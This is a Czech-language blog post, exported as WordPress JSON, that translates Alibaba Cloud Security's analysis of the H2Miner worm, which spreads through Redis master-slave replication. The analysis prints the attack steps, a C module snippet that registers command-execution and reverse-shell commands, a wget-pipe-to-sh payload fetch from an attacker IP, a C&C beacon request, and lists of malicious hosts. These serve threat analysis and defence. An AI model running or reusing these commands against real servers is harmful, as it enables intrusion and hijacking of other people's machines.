{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"Byla odhalena nov\u00e1 vlna \u010derv\u016f H2Miner, kter\u00e1 zneu\u017e\u00edv\u00e1 Redis RCE","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<blockquote><p>P\u0159ed jedn\u00edm dnem byl jeden ze server\u016f m\u00e9ho projektu napaden podobn\u00fdm \u010dervem. V p\u00e1tr\u00e1n\u00ed po odpov\u011bdi na ot\u00e1zku \u201eco to vlastn\u011b bylo?\u201c jsem na\u0161el skv\u011bl\u00fd \u010dl\u00e1nek t\u00fdmu Alibaba Cloud Security. Jeliko\u017e jsem tento \u010dl\u00e1nek nena\u0161el na habru, rozhodl jsem se ho speci\u00e1ln\u011b pro v\u00e1s p\u0159elo\u017eit &lt;3\n<\/p><\/blockquote>\n<h2>\u00davod<\/h2>\n<p>\nNed\u00e1vno t\u00fdm bezpe\u010dnosti Alibaba Cloud objevil n\u00e1hlou vlnu H2Miner. Tento typ \u0161kodliv\u00e9ho \u010derva vyu\u017e\u00edv\u00e1 nedostatek autorizace nebo slab\u00e1 hesla pro Redis jako br\u00e1ny k va\u0161im syst\u00e9m\u016fm, pot\u00e9 synchronizuje sv\u016fj vlastn\u00ed \u0161kodliv\u00fd modul s slave prost\u0159ednictv\u00edm master-slave synchronizace a nakonec nahr\u00e1v\u00e1 tento \u0161kodliv\u00fd modul na napaden\u00fd stroj a prov\u00e1d\u00ed \u0161kodliv\u00e9 instrukce.<\/p>\n<p>V minulosti byly \u00fatoky na va\u0161e syst\u00e9my v\u011bt\u0161inou prov\u00e1d\u011bny metodou zahrnuj\u00edc\u00ed napl\u00e1novan\u00e9 \u00fakoly nebo SSH kl\u00ed\u010de, kter\u00e9 byly nahr\u00e1ny na va\u0161i ma\u0161inu po p\u0159ihl\u00e1\u0161en\u00ed \u00fato\u010dn\u00edka do Redis. Na\u0161t\u011bst\u00ed tento metod \u010dasto nen\u00ed mo\u017en\u00e9 pou\u017e\u00edt kv\u016fli probl\u00e9m\u016fm s opr\u00e1vn\u011bn\u00edm nebo r\u016fzn\u00fdm verz\u00edm syst\u00e9mu. Nicm\u00e9n\u011b, tento zp\u016fsob nahr\u00e1v\u00e1n\u00ed \u0161kodliv\u00e9ho modulu m\u016f\u017ee p\u0159\u00edmo vykon\u00e1vat p\u0159\u00edkazy \u00fato\u010dn\u00edka nebo z\u00edsk\u00e1vat p\u0159\u00edstup k shellu, co\u017e je nebezpe\u010dn\u00e9 pro v\u00e1\u0161 syst\u00e9m.<\/p>\n<p>Kv\u016fli velk\u00e9mu po\u010dtu <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/cs\/server\/\"   title=\"servery\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"1464\">servery<\/a> Redis um\u00edst\u011bn\u00fdch na internetu (t\u00e9m\u011b\u0159 1 milion), t\u00fdm bezpe\u010dnosti Alibaba Cloud, jako p\u0159\u00e1telsk\u00e9 p\u0159ipomenut\u00ed, doporu\u010duje u\u017eivatel\u016fm, aby neposkytovali p\u0159\u00edstup k Redis z ve\u0159ejn\u00e9 s\u00edt\u011b a pravideln\u011b kontrolovali s\u00edlu sv\u00fdch hesel, aby se ujistili, \u017ee nejsou n\u00e1chyln\u00e1 k rychl\u00e9mu hled\u00e1n\u00ed.<\/p>\n<h2>H2Miner<\/h2>\n<p>\nH2Miner je mining botnet pro syst\u00e9my na b\u00e1zi Linux, kter\u00fd m\u016f\u017ee infikovat v\u00e1\u0161 syst\u00e9m r\u016fzn\u00fdmi zp\u016fsoby, v\u010detn\u011b nedostatku autorizace v Hadoop yarn, Docker a zranitelnosti pro vzd\u00e1len\u00e9 prov\u00e1d\u011bn\u00ed p\u0159\u00edkaz\u016f Redis (RCE). Botnet pracuje t\u00edm, \u017ee nahr\u00e1v\u00e1 \u0161kodliv\u00e9 skripty a \u0161kodliv\u00e9 programy pro t\u011b\u017ebu va\u0161ich dat, horizont\u00e1ln\u00ed roz\u0161\u00ed\u0159en\u00ed \u00fatoku a udr\u017eov\u00e1n\u00ed \u0158\u00edzen\u00ed a Kontroln\u00ed (C&amp;C) komunikace.<br \/>\n<noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Redis RCE<\/h2>\n<p>\nPavel Toporkov shared insights on this topic at ZeroNights 2018. After version 4.0, Redis supports external module loading, allowing users to load C-compiled .so files into Redis to execute specific Redis commands. While this feature is useful, it has a vulnerability where, in master-slave mode, files can be synchronized with the slave through fullresync. This can be exploited by attackers to transmit malicious .so files. Once the transfer is complete, attackers load the module onto the targeted Redis instance and execute any command.<\/p>\n<h2>Anal\u00fdza \u0161kodliv\u00e9ho \u010derva<\/h2>\n<p>\nT\u00fdm bezpe\u010dnosti Alibaba Cloud ned\u00e1vno zjistil, \u017ee velikost skupiny \u0161kodliv\u00fdch miner\u016f H2Miner n\u00e1hle zna\u010dn\u011b vzrostla. Podle anal\u00fdzy prob\u00edh\u00e1 cel\u00fd proces \u00fatoku takto:<\/p>\n<p><img decoding=\"async\" alt=\"Byla odhalena nov\u00e1 vlna \u010derv\u016f H2Miner, kter\u00e1 zneu\u017e\u00edv\u00e1 Redis RCE\" src=\"\/wp-content\/uploads\/2020\/01\/e4e47a0ddb0bd9f8d97dd992f3349016.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nH2Miner vyu\u017e\u00edv\u00e1 RCE Redis k proveden\u00ed \u00fatoku. Nejprve \u00fato\u010dn\u00edci za\u00fato\u010d\u00ed na nezabezpe\u010den\u00e9 servery Redis nebo servery se slab\u00fdmi hesly.<\/p>\n<p>Pot\u00e9 pou\u017eij\u00ed p\u0159\u00edkaz <code>config set dbfilename red2.so<\/code> k zm\u011bn\u011b n\u00e1zvu souboru. N\u00e1sledn\u011b \u00fato\u010dn\u00edci prov\u00e1d\u011bj\u00ed p\u0159\u00edkaz <code>slaveof<\/code> k nastaven\u00ed adresy hostitele replikace master-slave. <\/p>\n<p>Kdy\u017e napaden\u00fd instance Redis nav\u00e1\u017ee master-slave spojen\u00ed s \u0161kodliv\u00fdm Redis, kter\u00fd pat\u0159\u00ed \u00fato\u010dn\u00edkovi, \u00fato\u010dn\u00edk ode\u0161le naka\u017een\u00fd modul pomoc\u00ed p\u0159\u00edkazu fullresync pro synchronizaci soubor\u016f. Pot\u00e9 bude soubor red2.so nahr\u00e1n na napaden\u00fd stroj. Pot\u00e9 \u00fato\u010dn\u00edci vyu\u017eij\u00ed modul .\\\/red2.so k nahr\u00e1n\u00ed tohoto souboru .so. Modul m\u016f\u017ee prov\u00e1d\u011bt p\u0159\u00edkazy \u00fato\u010dn\u00edka nebo iniciovat reverzn\u00ed spojen\u00ed (backdoor) pro zisk p\u0159\u00edstupu k napaden\u00e9mu stroji.<\/p>\n<pre><code class=\"plaintext\">if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n<p>\nPo proveden\u00ed \u0161kodliv\u00e9ho p\u0159\u00edkazu, jako je <code>\/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh&gt; \/ dev \/ null 2&gt; &amp; 1<\/code>, \u00fato\u010dn\u00edk resetuje n\u00e1zev z\u00e1lo\u017en\u00edho souboru a provede uvoln\u011bn\u00ed syst\u00e9mov\u00e9ho modulu, aby zametl stopy. Nicm\u00e9n\u011b soubor red2.so st\u00e1le z\u016fstane na napaden\u00e9m stroji. U\u017eivatel\u016fm se doporu\u010duje v\u011bnovat pozornost p\u0159\u00edtomnosti takov\u00e9ho podez\u0159el\u00e9ho souboru ve slo\u017ece jejich instance Redis.<\/p>\n<p>Krom\u011b eliminace n\u011bkter\u00fdch \u0161kodliv\u00fdch proces\u016f pro kr\u00e1de\u017e zdroj\u016f \u00fato\u010dn\u00edk n\u00e1sledoval \u0161kodliv\u00fd sc\u00e9n\u00e1\u0159 t\u00edm, \u017ee st\u00e1hl a spustil \u0161kodliv\u00e9 soubory v bin\u00e1rn\u00ed podob\u011b, aby <noindex><a rel=\"nofollow\" href=\"http:\/\/142.44.191.122\/kinsing\">142.44.191.122\/kinsing<\/a><\/noindex>. To znamen\u00e1, \u017ee n\u00e1zev procesu nebo adres\u00e1\u0159e obsahuj\u00edc\u00edho kinsing na hostiteli m\u016f\u017ee nazna\u010dovat, \u017ee stroj byl infikov\u00e1n t\u00edmto virem.<\/p>\n<p>Podle v\u00fdsledk\u016f reverzn\u00edho in\u017een\u00fdrstv\u00ed \u0161kodliv\u00fd program vykon\u00e1v\u00e1 p\u0159edev\u0161\u00edm n\u00e1sleduj\u00edc\u00ed funkce:<\/p>\n<ul>\n<li>Stahov\u00e1n\u00ed a spou\u0161t\u011bn\u00ed soubor\u016f<\/li>\n<li>T\u011b\u017eba<\/li>\n<li>Udr\u017eov\u00e1n\u00ed komunikace C&amp;C a vykon\u00e1v\u00e1n\u00ed p\u0159\u00edkaz\u016f \u00fato\u010dn\u00edka<\/li>\n<\/ul>\n<p>\n<img decoding=\"async\" alt=\"Byla odhalena nov\u00e1 vlna \u010derv\u016f H2Miner, kter\u00e1 zneu\u017e\u00edv\u00e1 Redis RCE\" src=\"\/wp-content\/uploads\/2020\/01\/43229670fd28e4b7f1974aa3c36dc3ca.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPou\u017eijte masscan pro extern\u00ed skenov\u00e1n\u00ed, abyste roz\u0161\u00ed\u0159ili vliv. Krom\u011b toho je IP adresa serveru C&amp;C v programu siln\u011b za\u0161ifrov\u00e1na a napaden\u00fd host bude komunikovat se serverem C&amp;C prost\u0159ednictv\u00edm HTTP po\u017eadavk\u016f, kde informace o zombie (napaden\u00e9m serveru) jsou identifikov\u00e1ny v HTTP hlavi\u010dce.<\/p>\n<p><img decoding=\"async\" alt=\"Byla odhalena nov\u00e1 vlna \u010derv\u016f H2Miner, kter\u00e1 zneu\u017e\u00edv\u00e1 Redis RCE\" src=\"\/wp-content\/uploads\/2020\/01\/111ba916fa76f45fe458622f260b1d8e.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<pre><code class=\"plaintext\">GET \/h HTTP\/1.1\nHost: 91.215.169.111\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/78.0.3904.108 Safari\/537.36\nArch: amd64\nCores: 2\nMem: 3944\nOs: linux\nOsname: debian\nOsversion: 10.0\nRoot: false\nS: k\nUuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx\nVersion: 26\nAccept-Encoding: gzip\n<\/code><\/pre>\n<p><\/p>\n<h2>Dal\u0161\u00ed metody \u00fatok\u016f<\/h2>\n<p>\n<img decoding=\"async\" alt=\"Byla odhalena nov\u00e1 vlna \u010derv\u016f H2Miner, kter\u00e1 zneu\u017e\u00edv\u00e1 Redis RCE\" src=\"\/wp-content\/uploads\/2020\/01\/51c088251ac8fd71d229bfe96e239c29.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Adresy a odkazy pou\u017e\u00edvan\u00e9 \u010dervem<\/h2>\n<p>\n\/kinsing<\/p>\n<pre><code class=\"plaintext\">\u2022 142.44.191.122\/t.sh\n\u2022 185.92.74.42\/h.sh\n\u2022 142.44.191.122\/spr.sh\n\u2022 142.44.191.122\/spre.sh\n\u2022 195.3.146.118\/unk.sh\n<\/code><\/pre>\n<p>\ns&amp;c<\/p>\n<pre><code class=\"plaintext\">\u2022 45.10.88.102\n\u2022 91.215.169.111\n\u2022 139.99.50.255\n\u2022 46.243.253.167\n\u2022 195.123.220.193\n<\/code><\/pre>\n<p><\/p>\n<h2>Tip<\/h2>\n<p>\nZa prv\u00e9, Redis by nem\u011bl b\u00fdt p\u0159\u00edstupn\u00fd z Internetu a m\u011bl by b\u00fdt chr\u00e1n\u011bn siln\u00fdm heslem. Tak\u00e9 je d\u016fle\u017eit\u00e9, aby klienti zkontrolovali, zda v adres\u00e1\u0159i Redis nen\u00ed soubor red2.so a zda v n\u00e1zvu souboru\/procesu na hostiteli nen\u00ed \u201ekinsing\u201c.<br \/>\n<br \/>Zdroj: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/post\/485300\/\">habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0414\u0435\u043d\u044c \u043d\u0430\u0437\u0430\u0434 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043c\u043e\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0431\u044b\u043b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u0447\u0435\u0440\u0432\u0435\u043c. \u0412 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0447\u0442\u043e \u0436\u0435 \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u0442\u0430\u043a\u043e\u0435?\u00bb \u044f \u043d\u0430\u0448\u0435\u043b \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b Alibaba Cloud Security. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044f \u043d\u0435 \u043d\u0430\u0448\u0435\u043b \u044d\u0442\u043e\u0442 \u0441\u0442\u0430\u0442\u044c\u0438 \u043d\u0430 \u0445\u0430\u0431\u0440\u0435, \u0442\u043e \u0440\u0435\u0448\u0438\u043b \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0435\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0432\u0430\u0441 &lt;3 \u0412\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0435 \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Alibaba Cloud \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u0443\u044e \u0432\u0441\u043f\u044b\u0448\u043a\u0443 H2Miner. [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-55714","post","type-post","status-publish","format-standard","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0414\u0435\u043d\u044c \u043d\u0430\u0437\u0430\u0434 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043c\u043e\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0431\u044b\u043b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u0447\u0435\u0440\u0432\u0435\u043c. \u0412 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0447\u0442\u043e \u0436\u0435 \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u0442\u0430\u043a\u043e\u0435?\u00bb \u044f \u043d\u0430\u0448\u0435\u043b \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b Alibaba Cloud Security.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/cs\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"cs_CZ\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0432\u0441\u043f\u044b\u0448\u043a\u0430 H2Miner \u0447\u0435\u0440\u0432\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 Redis RCE | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0414\u0435\u043d\u044c \u043d\u0430\u0437\u0430\u0434 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043c\u043e\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0431\u044b\u043b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u0447\u0435\u0440\u0432\u0435\u043c. \u0412 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0447\u0442\u043e \u0436\u0435 \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u0442\u0430\u043a\u043e\u0435?\u00bb \u044f \u043d\u0430\u0448\u0435\u043b \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b Alibaba Cloud Security.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/cs\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-01-26T21:00:00+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-02-18T11:03:51+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Bylo objeveno nov\u00e9 vypuknut\u00ed \u010derv\u016f H2Miner, kte\u0159\u00ed zneu\u017e\u00edvaj\u00ed Redis RCE | ProHoster","description":"P\u0159ed jedn\u00edm dnem byl jeden ze server\u016f m\u00e9ho projektu napaden podobn\u00fdm \u010dervem. Ve snaze naj\u00edt odpov\u011b\u010f na ot\u00e1zku \u201eco to vlastn\u011b bylo?\u201c jsem na\u0161el skv\u011bl\u00fd \u010dl\u00e1nek od t\u00fdmu Alibaba Cloud Security.","canonical_url":"https:\/\/prohoster.info\/cs\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"cs_CZ","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0432\u0441\u043f\u044b\u0448\u043a\u0430 H2Miner \u0447\u0435\u0440\u0432\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 Redis RCE | ProHoster","og:description":"\u0414\u0435\u043d\u044c \u043d\u0430\u0437\u0430\u0434 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043c\u043e\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0431\u044b\u043b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u0447\u0435\u0440\u0432\u0435\u043c. \u0412 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0447\u0442\u043e \u0436\u0435 \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u0442\u0430\u043a\u043e\u0435?\u00bb \u044f \u043d\u0430\u0448\u0435\u043b \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b Alibaba Cloud Security.","og:url":"https:\/\/prohoster.info\/cs\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-01-26T21:00:00+00:00","article:modified_time":"2020-02-18T11:03:51+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"55714","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 19:38:31","updated":"2026-02-09 16:50:17","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/55714","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/comments?post=55714"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/55714\/revisions"}],"predecessor-version":[{"id":158708,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/55714\/revisions\/158708"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/media?parent=55714"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/categories?post=55714"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/tags?post=55714"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}